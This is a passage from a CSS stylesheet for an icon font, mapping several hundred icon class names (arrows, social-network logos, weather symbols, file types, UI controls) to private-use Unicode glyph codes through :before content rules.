.icon-arrow-up-left-3:before {
	content: "\e12f";
}
.icon-arrow-up-3:before {
	content: "\e130";
}
.icon-arrow-up-right-3:before {
	content: "\e131";
}
.icon-arrow-right-3:before {
	content: "\e132";
}
.icon-arrow-down-right-3:before {
	content: "\e133";
}
.icon-arrow-down-3:before {
	content: "\e134";
}
.icon-arrow-down-left-3:before {
	content: "\e135";
}
.icon-arrow-left-3:before {
	content: "\e136";
}
.icon-tab:before {
	content: "\e137";
}
.icon-checkbox-checked:before {
	content: "\e138";
}
.icon-checkbox-unchecked:before {
	content: "\e139";
}
.icon-checkbox-partial:before {
	content: "\e13a";
}
.icon-radio-checked:before {
	content: "\e13b";
}
.icon-radio-unchecked:before {
	content: "\e13c";
}
.icon-crop:before {
	content: "\e13d";
}
.icon-scissors:before {
	content: "\e13e";
}
.icon-filter:before {
	content: "\e13f";
}
.icon-filter-2:before {
	content: "\e140";
}
.icon-font:before {
	content: "\e141";
}
.icon-text-height:before {
	content: "\e142";
}
.icon-text-width:before {
	content: "\e143";
}
.icon-bold:before {
	content: "\e144";
}
.icon-underline:before {
	content: "\e145";
}
.icon-italic:before {
	content: "\e146";
}
.icon-strikethrough:before {
	content: "\e147";
}
.icon-omega:before {
	content: "\e148";
}
.icon-sigma:before {
	content: "\e149";
}
.icon-table:before {
	content: "\e14a";
}
.icon-table-2:before {
	content: "\e14b";
}
.icon-insert-template:before {
	content: "\e14c";
}
.icon-pilcrow:before {
	content: "\e14d";
}
.icon-left-to-right:before {
	content: "\e14e";
}
.icon-right-to-left:before {
	content: "\e14f";
}
.icon-paragraph-left:before {
	content: "\e150";
}
.icon-paragraph-center:before {
	content: "\e151";
}
.icon-paragraph-right:before {
	content: "\e152";
}
.icon-paragraph-justify:before {
	content: "\e153";
}
.icon-paragraph-left-2:before {
	content: "\e154";
}
.icon-paragraph-center-2:before {
	content: "\e155";
}
.icon-paragraph-right-2:before {
	content: "\e156";
}
.icon-paragraph-justify-2:before {
	content: "\e157";
}
.icon-indent-increase:before {
	content: "\e158";
}
.icon-indent-decrease:before {
	content: "\e159";
}
.icon-new-tab:before {
	content: "\e15a";
}
.icon-embed:before {
	content: "\e15b";
}
.icon-code:before {
	content: "\e15c";
}
.icon-console:before {
	content: "\e15d";
}
.icon-share:before {
	content: "\e15e";
}
.icon-mail:before {
	content: "\e15f";
}
.icon-mail-2:before {
	content: "\e160";
}
.icon-mail-3:before {
	content: "\e161";
}
.icon-mail-4:before {
	content: "\e162";
}
.icon-google:before {
	content: "\e163";
}
.icon-google-plus:before {
	content: "\e164";
}
.icon-google-plus-2:before {
	content: "\e165";
}
.icon-google-plus-3:before {
	content: "\e166";
}
.icon-google-plus-4:before {
	content: "\e167";
}
.icon-google-drive:before {
	content: "\e168";
}
.icon-facebook:before {
	content: "\e169";
}
.icon-facebook-2:before {
	content: "\e16a";
}
.icon-facebook-3:before {
	content: "\e16b";
}
.icon-instagram:before {
	content: "\e16c";
}
.icon-twitter:before {
	content: "\e16d";
}
.icon-twitter-2:before {
	content: "\e16e";
}
.icon-twitter-3:before {
	content: "\e16f";
}
.icon-feed-2:before {
	content: "\e170";
}
.icon-feed-3:before {
	content: "\e171";
}
.icon-feed-4:before {
	content: "\e172";
}
.icon-youtube:before {
	content: "\e173";
}
.icon-youtube-2:before {
	content: "\e174";
}
.icon-vimeo:before {
	content: "\e175";
}
.icon-vimeo2:before {
	content: "\e176";
}
.icon-vimeo-2:before {
	content: "\e177";
}
.icon-lanyrd:before {
	content: "\e178";
}
.icon-flickr:before {
	content: "\e179";
}
.icon-flickr-2:before {
	content: "\e17a";
}
.icon-flickr-3:before {
	content: "\e17b";
}
.icon-flickr-4:before {
	content: "\e17c";
}
.icon-picassa:before {
	content: "\e17d";
}
.icon-picassa-2:before {
	content: "\e17e";
}
.icon-dribbble:before {
	content: "\e17f";
}
.icon-dribbble-2:before {
	content: "\e180";
}
.icon-dribbble-3:before {
	content: "\e181";
}
.icon-forrst:before {
	content: "\e182";
}
.icon-forrst-2:before {
	content: "\e183";
}
.icon-deviantart:before {
	content: "\e184";
}
.icon-deviantart-2:before {
	content: "\e185";
}
.icon-steam:before {
	content: "\e186";
}
.icon-steam-2:before {
	content: "\e187";
}
.icon-github:before {
	content: "\e188";
}
.icon-github-2:before {
	content: "\e189";
}
.icon-github-3:before {
	content: "\e18a";
}
.icon-github-4:before {
	content: "\e18b";
}
.icon-github-5:before {
	content: "\e18c";
}
.icon-wordpress:before {
	content: "\e18d";
}
.icon-wordpress-2:before {
	content: "\e18e";
}
.icon-joomla:before {
	content: "\e18f";
}
.icon-blogger:before {
	content: "\e190";
}
.icon-blogger-2:before {
	content: "\e191";
}
.icon-tumblr:before {
	content: "\e192";
}
.icon-tumblr-2:before {
	content: "\e193";
}
.icon-yahoo:before {
	content: "\e194";
}
.icon-tux:before {
	content: "\e195";
}
.icon-apple:before {
	content: "\e196";
}
.icon-finder:before {
	content: "\e197";
}
.icon-android:before {
	content: "\e198";
}
.icon-windows:before {
	content: "\e199";
}
.icon-windows8:before {
	content: "\e19a";
}
.icon-soundcloud:before {
	content: "\e19b";
}
.icon-soundcloud-2:before {
	content: "\e19c";
}
.icon-skype:before {
	content: "\e19d";
}
.icon-reddit:before {
	content: "\e19e";
}
.icon-linkedin:before {
	content: "\e19f";
}
.icon-lastfm:before {
	content: "\e1a0";
}
.icon-lastfm-2:before {
	content: "\e1a1";
}
.icon-delicious:before {
	content: "\e1a2";
}
.icon-stumbleupon:before {
	content: "\e1a3";
}
.icon-stumbleupon-2:before {
	content: "\e1a4";
}
.icon-stackoverflow:before {
	content: "\e1a5";
}
.icon-pinterest:before {
	content: "\e1a6";
}
.icon-pinterest-2:before {
	content: "\e1a7";
}
.icon-xing:before {
	content: "\e1a8";
}
.icon-xing-2:before {
	content: "\e1a9";
}
.icon-flattr:before {
	content: "\e1aa";
}
.icon-foursquare:before {
	content: "\e1ab";
}
.icon-foursquare-2:before {
	content: "\e1ac";
}
.icon-paypal:before {
	content: "\e1ad";
}
.icon-paypal-2:before {
	content: "\e1ae";
}
.icon-paypal-3:before {
	content: "\e1af";
}
.icon-yelp:before {
	content: "\e1b0";
}
.icon-libreoffice:before {
	content: "\e1b1";
}
.icon-file-pdf:before {
	content: "\e1b2";
}
.icon-file-openoffice:before {
	content: "\e1b3";
}
.icon-file-word:before {
	content: "\e1b4";
}
.icon-file-excel:before {
	content: "\e1b5";
}
.icon-file-zip:before {
	content: "\e1b6";
}
.icon-file-powerpoint:before {
	content: "\e1b7";
}
.icon-file-xml:before {
	content: "\e1b8";
}
.icon-file-css:before {
	content: "\e1b9";
}
.icon-html5:before {
	content: "\e1ba";
}
.icon-html5-2:before {
	content: "\e1bb";
}
.icon-css3:before {
	content: "\e1bc";
}
.icon-chrome:before {
	content: "\e1bd";
}
.icon-firefox:before {
	content: "\e1be";
}
.icon-IE:before {
	content: "\e1bf";
}
.icon-opera:before {
	content: "\e1c0";
}
.icon-safari:before {
	content: "\e1c1";
}
.icon-IcoMoon:before {
	content: "\e1c2";
}
.icon-chat:before {
	content: "\e1c5";
}
.icon-chat-alt-stroke:before {
	content: "\e1c6";
}
.icon-chat-alt-fill:before {
	content: "\e1c7";
}
.icon-comment-alt1-stroke:before {
	content: "\e1c8";
}
.icon-comment-alt1-fill:before {
	content: "\e1c9";
}
.icon-comment-stroke:before {
	content: "\e1ca";
}
.icon-comment-fill:before {
	content: "\e1cb";
}
.icon-comment-alt2-stroke:before {
	content: "\e1cc";
}
.icon-comment-alt2-fill:before {
	content: "\e1cd";
}
.icon-checkmark-3:before{
	content: "\e1ce";
}
.icon-check-alt:before {
	content: "\e1cf";
}
.icon-x:before {
	content: "\e1d0";
}
.icon-x-altx-alt:before {
	content: "\e1d1";
}
.icon-denied:before {
	content: "\e1d2";
}
.icon-cursor:before {
	content: "\e1d3";
}
.icon-rss:before {
	content: "\e1d4";
}
.icon-rss-alt:before {
	content: "\e1d5";
}
.icon-wrench-2:before {
	content: "\e1d6";
}
.icon-dial:before {
	content: "\e1d7";
}
.icon-cog-3:before {
	content: "\e1d8";
}
.icon-calendar-3:before {
	content: "\e1d9";
}
.icon-calendar-alt-stroke:before {
	content: "\e1da";
}
.icon-calendar-alt-fill:before {
	content: "\e1db";
}
.icon-share-2:before {
	content: "\e1dc";
}
.icon-mail-5:before {
	content: "\e1dd";
}
.icon-heart-stroke:before {
	content: "\e1de";
}
.icon-heart-fill:before {
	content: "\e1df";
}
.icon-movie:before {
	content: "\e1e0";
}
.icon-document-alt-stroke:before {
	content: "\e1e1";
}
.icon-document-alt-fill:before {
	content: "\e1e2";
}
.icon-document-stroke:before {
	content: "\e1e3";
}
.icon-document-fill:before {
	content: "\e1e4";
}
.icon-plus-2:before {
	content: "\e1e5";
}
.icon-plus-alt:before {
	content: "\e1e6";
}
.icon-minus-2:before {
	content: "\e1e7";
}
.icon-minus-alt:before {
	content: "\e1e8";
}
.icon-pin:before {
	content: "\e1e9";
}
.icon-link-2:before {
	content: "\e1ea";
}
.icon-bolt:before {
	content: "\e1eb";
}
.icon-move:before {
	content: "\e1ec";
}
.icon-move-alt1:before {
	content: "\e1ed";
}
.icon-move-alt2:before {
	content: "\e1ee";
}
.icon-equalizer-2:before {
	content: "\e1ef";
}
.icon-award-fill:before {
	content: "\e1f0";
}
.icon-award-stroke:before {
	content: "\e1f1";
}
.icon-magnifying-glass:before {
	content: "\e1f2";
}
.icon-trash-stroke:before {
	content: "\e1f3";
}
.icon-trash-fill:before {
	content: "\e1f4";
}
.icon-beaker-alt:before {
	content: "\e1f5";
}
.icon-beaker:before {
	content: "\e1f6";
}
.icon-key-stroke:before {
	content: "\e1f7";
}
.icon-key-fill:before {
	content: "\e1f8";
}
.icon-new-window:before {
	content: "\e1f9";
}
.icon-lightbulb:before {
	content: "\e1fa";
}
.icon-spin-alt:before {
	content: "\e1fb";
}
.icon-spin:before {
	content: "\e1fc";
}
.icon-curved-arrow:before {
	content: "\e1fd";
}
.icon-undo-3:before {
	content: "\e1fe";
}
.icon-reload:before {
	content: "\e1ff";
}
.icon-reload-alt:before {
	content: "\e200";
}
.icon-loop-4:before {
	content: "\e201";
}
.icon-loop-alt1:before {
	content: "\e202";
}
.icon-loop-alt2:before {
	content: "\e203";
}
.icon-loop-alt3:before {
	content: "\e204";
}
.icon-loop-alt4:before {
	content: "\e205";
}
.icon-transfer:before {
	content: "\e206";
}
.icon-move-vertical:before {
	content: "\e207";
}
.icon-move-vertical-alt1:before {
	content: "\e208";
}
.icon-move-vertical-alt2:before {
	content: "\e209";
}
.icon-move-horizontal:before {
	content: "\e20a";
}
.icon-move-horizontal-alt1:before {
	content: "\e20b";
}
.icon-move-horizontal-alt2:before {
	content: "\e20c";
}
.icon-arrow-left-4:before {
	content: "\e20d";
}
.icon-arrow-left-alt1:before {
	content: "\e20e";
}
.icon-arrow-left-alt2:before {
	content: "\e20f";
}
.icon-arrow-right-4:before {
	content: "\e210";
}
.icon-arrow-right-alt1:before {
	content: "\e211";
}
.icon-arrow-right-alt2:before {
	content: "\e212";
}
.icon-arrow-up-4:before {
	content: "\e213";
}
.icon-arrow-up-alt1:before {
	content: "\e214";
}
.icon-arrow-up-alt2:before {
	content: "\e215";
}
.icon-arrow-down-4:before {
	content: "\e216";
}
.icon-arrow-down-alt1:before {
	content: "\e217";
}
.icon-arrow-down-alt2:before {
	content: "\e218";
}
.icon-cd:before {
	content: "\e219";
}
.icon-steering-wheel:before {
	content: "\e21a";
}
.icon-microphone:before {
	content: "\e21b";
}
.icon-headphones-2:before {
	content: "\e21c";
}
.icon-volume:before {
	content: "\e21d";
}
.icon-volume-mute-3:before {
	content: "\e21e";
}
.icon-play-4:before {
	content: "\e21f";
}
.icon-pause-3:before {
	content: "\e220";
}
.icon-stop-3:before {
	content: "\e221";
}
.icon-eject-2:before {
	content: "\e222";
}
.icon-first-2:before {
	content: "\e223";
}
.icon-last-2:before {
	content: "\e224";
}
.icon-play-alt:before {
	content: "\e225";
}
.icon-fullscreen-exit:before {
	content: "\e226";
}
.icon-fullscreen-exit-alt:before {
	content: "\e227";
}
.icon-fullscreen:before {
	content: "\e228";
}
.icon-fullscreen-alt:before {
	content: "\e229";
}
.icon-iphone:before {
	content: "\e22a";
}
.icon-battery-empty:before {
	content: "\e22b";
}
.icon-battery-half:before {
	content: "\e22c";
}
.icon-battery-full:before {
	content: "\e22d";
}
.icon-battery-charging:before {
	content: "\e22f";
}
.icon-compass-2:before {
	content: "\e230";
}
.icon-box:before {
	content: "\e231";
}
.icon-folder-stroke:before {
	content: "\e232";
}
.icon-folder-fill:before {
	content: "\e233";
}
.icon-at:before {
	content: "\e234";
}
.icon-ampersand:before {
	content: "\e235";
}
.icon-info-3:before {
	content: "\e236";
}
.icon-question-mark:before {
	content: "\e237";
}
.icon-pilcrow-2:before {
	content: "\e238";
}
.icon-hash:before {
	content: "\e239";
}
.icon-left-quote:before {
	content: "\e23a";
}
.icon-right-quote:before {
	content: "\e23b";
}
.icon-left-quote-alt:before {
	content: "\e23c";
}
.icon-right-quote-alt:before {
	content: "\e23d";
}
.icon-article:before {
	content: "\e23e";
}
.icon-read-more:before {
	content: "\e23f";
}
.icon-list-3:before {
	content: "\e240";
}
.icon-list-nested:before {
	content: "\e241";
}
.icon-book-2:before {
	content: "\e242";
}
.icon-book-alt:before {
	content: "\e243";
}
.icon-book-alt2:before {
	content: "\e244";
}
.icon-pen-2:before {
	content: "\e245";
}
.icon-pen-alt-stroke:before {
	content: "\e246";
}
.icon-pen-alt-fill:before {
	content: "\e247";
}
.icon-pen-alt2:before {
	content: "\e248";
}
.icon-brush:before {
	content: "\e249";
}
.icon-brush-alt:before {
	content: "\e24a";
}
.icon-eyedropper:before {
	content: "\e24b";
}
.icon-layers-alt:before {
	content: "\e24c";
}
.icon-layers:before {
	content: "\e24d";
}
.icon-image-3:before {
	content: "\e24e";
}
.icon-camera-3:before {
	content: "\e24f";
}
.icon-aperture:before {
	content: "\e250";
}
.icon-aperture-alt:before {
	content: "\e251";
}
.icon-chart:before {
	content: "\e252";
}
.icon-chart-alt:before {
	content: "\e253";
}
.icon-bars-3:before {
	content: "\e254";
}
.icon-bars-alt:before {
	content: "\e255";
}
.icon-eye-3:before {
	content: "\e256";
}
.icon-user-5:before {
	content: "\e257";
}
.icon-home-4:before {
	content: "\e258";
}
.icon-clock-3:before {
	content: "\e259";
}
.icon-lock-stroke:before {
	content: "\e25a";
}
.icon-lock-fill:before {
	content: "\e25b";
}
.icon-unlock-stroke:before {
	content: "\e25c";
}
.icon-unlock-fill:before {
	content: "\e25d";
}
.icon-tag-stroke:before {
	content: "\e25e";
}
.icon-tag-fill:before {
	content: "\e25f";
}
.icon-sun-stroke:before {
	content: "\e260";
}
.icon-sun-fill:before {
	content: "\e261";
}
.icon-moon-stroke:before {
	content: "\e262";
}
.icon-moon-fill:before {
	content: "\e263";
}
.icon-cloud-2:before {
	content: "\e264";
}
.icon-rain:before {
	content: "\e265";
}
.icon-umbrella:before {
	content: "\e266";
}
.icon-star-4:before {
	content: "\e267";
}
.icon-map-pin-stroke:before {
	content: "\e268";
}
.icon-map-pin-fill:before {
	content: "\e269";
}
.icon-map-pin-alt:before {
	content: "\e26a";
}
.icon-target-2:before {
	content: "\e26b";
}
.icon-download-4:before {
	content: "\e26c";
}
.icon-upload-4:before {
	content: "\e26d";
}
.icon-cloud-download-2:before {
	content: "\e26e";
}
.icon-cloud-upload-2:before {
	content: "\e26f";
}
.icon-fork:before {
	content: "\e270";
}
.icon-paperclip:before {
	content: "\e271";
}
.icon-sunrise:before {
	content: "\e272";
}
.icon-sun:before {
	content: "\e273";
}
.icon-moon:before {
	content: "\e274";
}
.icon-sun-2:before {
	content: "\e275";
}
.icon-windy:before {
	content: "\e276";
}
.icon-wind:before {
	content: "\e277";
}
.icon-snowflake:before {
	content: "\e278";
}
.icon-cloudy:before {
	content: "\e279";
}
.icon-cloud-3:before {
	content: "\e27a";
}
.icon-weather:before {
	content: "\e27b";
}
.icon-weather-2:before {
	content: "\e27c";
}
.icon-weather-3:before {
	content: "\e27d";
}
.icon-lines:before {
	content: "\e27e";
}
.icon-cloud-4:before {
	content: "\e27f";
}
.icon-lightning-2:before {
	content: "\e280";
}
.icon-lightning-3:before {
	content: "\e281";
}
.icon-rainy:before {
	content: "\e282";
}
.icon-rainy-2:before {
	content: "\e283";
}
.icon-windy-2:before {
	content: "\e284";
}
.icon-windy-3:before {
	content: "\e285";
}
.icon-snowy:before {
	content: "\e286";
}
.icon-snowy-2:before {
	content: "\e287";
}
.icon-snowy-3:before {
	content: "\e288";
}
.icon-weather-4:before {
	content: "\e289";
}
.icon-cloudy-2:before {
	content: "\e28a";
}
.icon-cloud-5:before {
	content: "\e28b";
}
.icon-lightning-4:before {
	content: "\e28c";
}
.icon-sun-3:before {
	content: "\e28d";
}
.icon-moon-2:before {
	content: "\e28e";
}
.icon-cloudy-3:before {
	content: "\e28f";
}
.icon-cloud-6:before {
	content: "\e290";
}
.icon-cloud-7:before {
	content: "\e291";
}
.icon-lightning-5:before {
	content: "\e292";
}
.icon-rainy-3:before {
	content: "\e293";
}
.icon-rainy-4:before {
	content: "\e294";
}
.icon-windy-4:before {
	content: "\e295";
}
.icon-windy-5:before {
	content: "\e296";
}
.icon-snowy-4:before {
	content: "\e297";
}
.icon-snowy-5:before {
	content: "\e298";
}
.icon-weather-5:before {
	content: "\e299";
}
.icon-cloudy-4:before {
	content: "\e29a";
}
.icon-lightning-6:before {
	content: "\e29b";
}
.icon-thermometer:before {
	content: "\e29c";
}
.icon-compass-3:before {
	content: "\e29d";
}
.icon-none:before {
	content: "\e29e";
}
.icon-Celsius:before {
	content: "\e29f";
}
.icon-Fahrenheit:before {
	content: "\e2a0";
}
.icon-warning-2:before {
	content: "\e1c3";
}
.icon-cloud-8:before {
	content: "\e1c4";
}
.icon-locked:before {
	content: "\e22e";
}
.icon-inbox:before {
	content: "\e2a1";
}
.icon-comment:before {
	content: "\e2a2";
}
.icon-mic:before {
	content: "\e2a3";
}
.icon-envelope:before {
	content: "\e2a4";
}
.icon-briefcase-2:before {
	content: "\e2a5";
}
.icon-cart-4:before {
	content: "\e2a6";
}
.icon-contrast-2:before {
	content: "\e2a7";
}
.icon-clock-4:before {
	content: "\e2a8";
}
.icon-user-6:before {
	content: "\e2a9";
}
.icon-cog-4:before {
	content: "\e2aa";
}
.icon-music-2:before {
	content: "\e2ab";
}
.icon-twitter-4:before {
	content: "\e2ac";
}
.icon-pencil-3:before {
	content: "\e2ad";
}
.icon-frame:before {
	content: "\e2ae";
}
.icon-switch-2:before {
	content: "\e2af";
}
.icon-star-5:before {
	content: "\e2b0";
}
.icon-key-3:before {
	content: "\e2b1";
}
.icon-chart-2:before {
	content: "\e2b2";
}
.icon-apple-2:before {
	content: "\e2b3";
}
.icon-file-5:before {
	content: "\e2b4";
}
.icon-plus-3:before {
	content: "\e2b5";
}
.icon-minus-3:before {
	content: "\e2b6";
}
.icon-picture:before {
	content: "\e2b7";
}
.icon-folder-2:before {
	content: "\e2b8";
}
.icon-camera-4:before {
	content: "\e2b9";
}
.icon-search-2:before {
	content: "\e2ba";
}
.icon-dribbble-4:before {
	content: "\e2bb";
}
.icon-forrst-3:before {
	content: "\e2bc";
}
.icon-feed-5:before {
	content: "\e2bd";
}
.icon-blocked-2:before {
	content: "\e2be";
}
.icon-target-3:before {
	content: "\e2bf";
}
.icon-play-5:before {
	content: "\e2c0";
}
.icon-pause-4:before {
	content: "\e2c1";
}
.icon-bug-2:before {
	content: "\e2c2";
}
.icon-console-2:before {
	content: "\e2c3";
}
.icon-film-2:before {
	content: "\e2c4";
}
.icon-type:before {
	content: "\e2c5";
}
.icon-home-5:before {
	content: "\e2c6";
}
.icon-earth-2:before {
	content: "\e2c7";
}
.icon-location-3:before {
	content: "\e2c8";
}
.icon-info-4:before {
	content: "\e2c9";
}
.icon-eye-4:before {
	content: "\e2ca";
}
.icon-heart-3:before {
	content: "\e2cb";
}
.icon-bookmark-2:before {
	content: "\e2cc";
}
.icon-wrench-3:before {
	content: "\e2cd";
}
.icon-calendar-4:before {
	content: "\e2ce";
}
.icon-window:before {
	content: "\e2cf";
}
.icon-monitor:before {
	content: "\e2d0";
}
.icon-mobile-3:before {
	content: "\e2d1";
}
.icon-droplet-2:before {
	content: "\e2d2";
}
.icon-mouse:before {
	content: "\e2d3";
}
.icon-refresh:before {
	content: "\e2d4";
}
.icon-location-4:before {
	content: "\e2d5";
}
.icon-tag-2:before {
	content: "\e2d6";
}
.icon-phone-2:before {
	content: "\e2d7";
}
.icon-star-6:before {
	content: "\e2d8";
}
.icon-pointer:before {
	content: "\e2d9";
}
.icon-thumbs-up-3:before {
	content: "\e2da";
}
.icon-thumbs-down:before {
	content: "\e2db";
}
.icon-headphones-3:before {
	content: "\e2dc";
}
.icon-move-2:before {
	content: "\e2dd";
}
.icon-checkmark-4:before {
	content: "\e2de";
}
.icon-cancel:before {
	content: "\e2df";
}
.icon-skype-2:before {
	content: "\e2e0";
}
.icon-gift-2:before {
	content: "\e2e1";
}
.icon-cone:before {
	content: "\e2e2";
}
.icon-alarm-3:before {
	content: "\e2e3";
}
.icon-coffee:before {
	content: "\e2e4";
}
.icon-basket:before {
	content: "\e2e5";
}
.icon-flag-2:before {
	content: "\e2e6";
}
.icon-ipod:before {
	content: "\e2e7";
}
.icon-trashcan:before {
	content: "\e2e8";
}
.icon-bolt-2:before {
	content: "\e2e9";
}
.icon-ampersand-2:before {
	content: "\e2ea";
}
.icon-compass-4:before {
	content: "\e2eb";
}
.icon-list-4:before {
	content: "\e2ec";
}
.icon-grid:before {
	content: "\e2ed";
}
.icon-volume-2:before {
	content: "\e2ee";
}
.icon-volume-3:before {
	content: "\e2ef";
}
.icon-stats-2:before {
	content: "\e2f0";
}
.icon-target-4:before {
	content: "\e2f1";
}
.icon-forward-4:before {
	content: "\e2f2";
}
.icon-paperclip-2:before {
	content: "\e2f3";
}
.icon-keyboard-2:before {
	content: "\e2f4";
}
.icon-crop-2:before {
	content: "\e2f5";
}
.icon-floppy:before {
	content: "\e2f6";
}
.icon-filter-3:before {
	content: "\e2f7";
}
.icon-trophy-2:before {
	content: "\e2f8";
}
.icon-diary:before {
	content: "\e2f9";
}
.icon-address-book-2:before {
	content: "\e2fa";
}
.icon-stop-4:before {
	content: "\e2fb";
}
.icon-smiley-3:before {
	content: "\e2fc";
}
.icon-shit:before {
	content: "\e2fd";
}
.icon-bookmark-3:before {
	content: "\e2fe";
}
.icon-camera-5:before {
	content: "\e2ff";
}
.icon-lamp:before {
	content: "\e300";
}
.icon-disk-2:before {
	content: "\e301";
}
.icon-button:before {
	content: "\e302";
}
.icon-database:before {
	content: "\e303";
}
.icon-credit-card:before {
	content: "\e304";
}
.icon-atom:before {
	content: "\e305";
}
.icon-winsows:before {
	content: "\e306";
}
.icon-target-5:before {
	content: "\e307";
}
.icon-battery:before {
	content: "\e308";
}
.icon-code-2:before {
	content: "\e309";
}
.icon-renren:before {
	content: "\f18b";
}
.icon-weibo:before {
	content: "\f18a";
}
.icon-vk:before {
	content: "\f189";
}
.icon-bug-3:before {
	content: "\f188";
}
.icon-archive:before {
	content: "\f187";
}
.icon-moon-3:before {
	content: "\f186";
}
.icon-sun-4:before {
	content: "\f185";
}
.icon-gittip:before {
	content: "\f184";
}
.icon-male:before {
	content: "\f183";
}
.icon-female:before {
	content: "\f182";
}
.icon-trello:before {
	content: "\f181";
}
.icon-foursquare-3:before {
	content: "\f180";
}
.icon-skype-3:before {
	content: "\f17e";
}
.icon-dribbble-5:before {
	content: "\f17d";
}
.icon-linux:before {
	content: "\f17c";
}
.icon-android-2:before {
	content: "\f17b";
}
.icon-windows-2:before {
	content: "\f17a";
}
.icon-apple-3:before {
	content: "\f179";
}
.icon-long-arrow-right:before {
	content: "\f178";
}
.icon-long-arrow-left:before {
	content: "\f177";
}
.icon-long-arrow-up:before {
	content: "\f176";
}
.icon-long-arrow-down:before {
	content: "\f175";
}
.icon-tumblr-sign:before {
	content: "\f174";
}
.icon-tumblr-3:before {
	content: "\f173";
}
.icon-bitbucket-sign:before {
	content: "\f172";
}
.icon-bitbucket:before {
	content: "\f171";
}
.icon-adn:before {
	content: "\f170";
}
.icon-flickr-5:before {
	content: "\f16e";
}
.icon-instagram-2:before {
	content: "\f16d";
}
.icon-stackexchange:before {
	content: "\f16c";
}
.icon-dropbox:before {
	content: "\f16b";
}
.icon-youtube-play:before {
	content: "\f16a";
}
.icon-xing-sign:before {
	content: "\f169";
}
.icon-xing-3:before {
	content: "\f168";
}
.icon-youtube-3:before {
	content: "\f167";
}
.icon-youtube-sign:before {
	content: "\f166";
}
.icon-thumbs-down-2:before {
	content: "\f165";
}
.icon-thumbs-up-4:before {
	content: "\f164";
}
.icon-sort-by-order-alt:before {
	content: "\f163";
}
.icon-sort-by-order:before {
	content: "\f162";
}
.icon-sort-by-attributes-alt:before {
	content: "\f161";
}
.icon-sort-by-attributes:before {
	content: "\f160";
}
.icon-sort-by-alphabet-alt:before {
	content: "\f15e";
}
.icon-sort-by-alphabet:before {
	content: "\f15d";
}
.icon-file-text:before {
	content: "\f15c";
}
.icon-file-6:before {
	content: "\f15b";
}
.icon-bitcoin:before {
	content: "\f15a";
}
.icon-won:before {
	content: "\f159";
}
.icon-renminbi:before {
	content: "\f158";
}
.icon-yen:before {
	content: "\f157";
}
.icon-rupee:before {
	content: "\f156";
}
.icon-dollar:before {
	content: "\f155";
}
.icon-gbp:before {
	content: "\f154";
}
.icon-euro:before {
	content: "\f153";
}
.icon-expand-3:before {
	content: "\f152";
}
.icon-collapse-top:before {
	content: "\f151";
}
.icon-collapse:before {
	content: "\f150";
}
.icon-compass-5:before {
	content: "\f14e";
}
.icon-share-sign:before {
	content: "\f14d";
}
.icon-external-link-sign:before {
	content: "\f14c";
}
.icon-edit-sign:before {
	content: "\f14b";
}
.icon-check-sign:before {
	content: "\f14a";
}
.icon-level-down:before {
	content: "\f149";
}
.icon-level-up:before {
	content: "\f148";
}
.icon-check-minus:before {
	content: "\f147";
}
.icon-minus-sign-alt:before {
	content: "\f146";
}
.icon-ticket-2:before {
	content: "\f145";
}
.icon-play-sign:before {
	content: "\f144";
}
.icon-rss-sign:before {
	content: "\f143";
}
.icon-ellipsis-vertical:before {
	content: "\f142";
}
.icon-ellipsis-horizontal:before {
	content: "\f141";
}
.icon-bullseye:before {
	content: "\f140";
}
.icon-unlock-alt:before {
	content: "\f13e";
}
.icon-anchor:before {
	content: "\f13d";
}
.icon-css3-2:before {
	content: "\f13c";
}
.icon-html5-3:before {
	content: "\f13b";
}
.icon-chevron-sign-down:before {
	content: "\f13a";
}
.icon-chevron-sign-up:before {
	content: "\f139";
}
.icon-chevron-sign-right:before {
	content: "\f138";
}
.icon-chevron-sign-left:before {
	content: "\f137";
}
.icon-maxcdn:before {
	content: "\f136";
}
.icon-rocket-2:before {
	content: "\f135";
}
.icon-fire-extinguisher:before {
	content: "\f134";
}
.icon-calendar-empty:before {
	content: "\f133";
}
.icon-shield-2:before {
	content: "\f132";
}
.icon-microphone-off:before {
	content: "\f131";
}
.icon-microphone-2:before {
	content: "\f130";
}
.icon-puzzle:before {
	content: "\f12e";
}
.icon-eraser:before {
	content: "\f12d";
}
.icon-subscript:before {
	content: "\f12c";
}
.icon-superscript:before {
	content: "\f12b";
}
.icon-exclamation:before {
	content: "\f12a";
}
.icon-info-5:before {
	content: "\f129";
}
.icon-question-2:before {
	content: "\f128";
}
.icon-unlink:before {
	content: "\f127";
}
.icon-code-fork:before {
	content: "\f126";
}
.icon-crop-3:before {
	content: "\f125";
}
.icon-location-arrow:before {
	content: "\f124";
}
.icon-star-half-full:before {
	content: "\f123";
}
.icon-reply-all:before {
	content: "\f122";
}
.icon-code-3:before {
	content: "\f121";
}
.icon-terminal:before {
	content: "\f120";
}
.icon-flag-checkered:before {
	content: "\f11e";
}
.icon-flag-alt:before {
	content: "\f11d";
}
.icon-keyboard-3:before {
	content: "\f11c";
}
.icon-gamepad:before {
	content: "\f11b";
}
.icon-meh:before {
	content: "\f11a";
}
.icon-frown:before {
	content: "\f119";
}
.icon-smile:before {
	content: "\f118";
}
.icon-collapse-alt:before {
	content: "\f117";
}
.icon-expand-alt:before {
	content: "\f116";
}
.icon-folder-open-alt:before {
	content: "\f115";
}
.icon-folder-close-alt:before {
	content: "\f114";
}
.icon-github-alt:before {
	content: "\f113";
}
.icon-reply-2:before {
	content: "\f112";
}
.icon-circle:before {
	content: "\f111";
}
.icon-spinner-7:before {
	content: "\f110";
}
.icon-quote-right:before {
	content: "\f10e";
}
.icon-quote-left:before {
	content: "\f10d";
}
.icon-circle-blank:before {
	content: "\f10c";
}
.icon-mobile-4:before {
	content: "\f10b";
}
.icon-tablet-2:before {
	content: "\f10a";
}
.icon-laptop-2:before {
	content: "\f109";
}
.icon-desktop:before {
	content: "\f108";
}
.icon-angle-down:before {
	content: "\f107";
}
.icon-angle-up:before {
	content: "\f106";
}
.icon-angle-right:before {
	content: "\f105";
}
.icon-angle-left:before {
	content: "\f104";
}
.icon-double-angle-down:before {
	content: "\f103";
}
.icon-double-angle-up:before {
	content: "\f102";
}
.icon-double-angle-right:before {
	content: "\f101";
}
.icon-double-angle-left:before {
	content: "\f100";
}
.icon-plus-sign:before {
	content: "\f0fe";
}
.icon-h-sign:before {
	content: "\f0fd";
}
.icon-beer:before {
	content: "\f0fc";
}
.icon-fighter-jet:before {
	content: "\f0fb";
}
.icon-medkit:before {
	content: "\f0fa";
}
.icon-ambulance:before {
	content: "\f0f9";
}
.icon-hospital:before {
	content: "\f0f8";
}
.icon-building:before {
	content: "\f0f7";
}
.icon-file-alt:before {
